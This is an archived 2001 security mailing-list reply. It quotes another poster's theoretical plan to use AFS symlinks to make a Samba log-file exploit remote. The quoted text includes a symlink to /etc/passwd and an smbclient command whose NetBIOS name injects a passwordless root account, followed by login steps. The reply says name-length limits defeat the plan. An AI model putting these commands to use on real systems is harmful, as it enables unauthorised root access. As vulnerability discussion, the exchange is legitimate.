On Mon, Jul 02, 2001 at 11:15:29AM -0400, Christopher William Palow wrote: > I was hoping to test this out but haven't been able to so here goes on > theoretical... > > How to make this exploit a remote one using AFS or other remote file > systems. > > What does this exploit need on the remote side?? A > symlink; soo... on a AFS system ,preferably one of a well known node that > most AFS servers would have in their CellServDB such as > andrew.cmu.edu or athena.mit.edu, create a symlink to /etc/passwd named > x.log like > > ln -s /etc/passwd /afs/andrew.cmu.edu/usr/<username>/x.log > > now make the symlink world readable... then all you need is UNIXes running > samba in the vulnerable configuration and running AFS. > > smbclient //afs.machine/"`perl -e '{print "\ntoor::0:0::/:/bin/sh\n"}'`" \ > -n ../../../afs/andrew.cmu.edu/usr/<username>/x -N > telnet afs.machine > login as toor > > if root logins aren't allowed make a dummy account first, login with that > then make a toor account ontop of that and su over to toor. Remember, the log path must be within 15 characters to fit in a netbios name! You're not going to get anywhere on andrew, or most other AFS paths, with that restriction. -- Daniel Jacobowitz Carnegie Mellon University MontaVista Software Debian GNU/Linux Developer
This archive was generated by hypermail 2b30 : Tue Jul 03 2001 - 10:19:12 PDT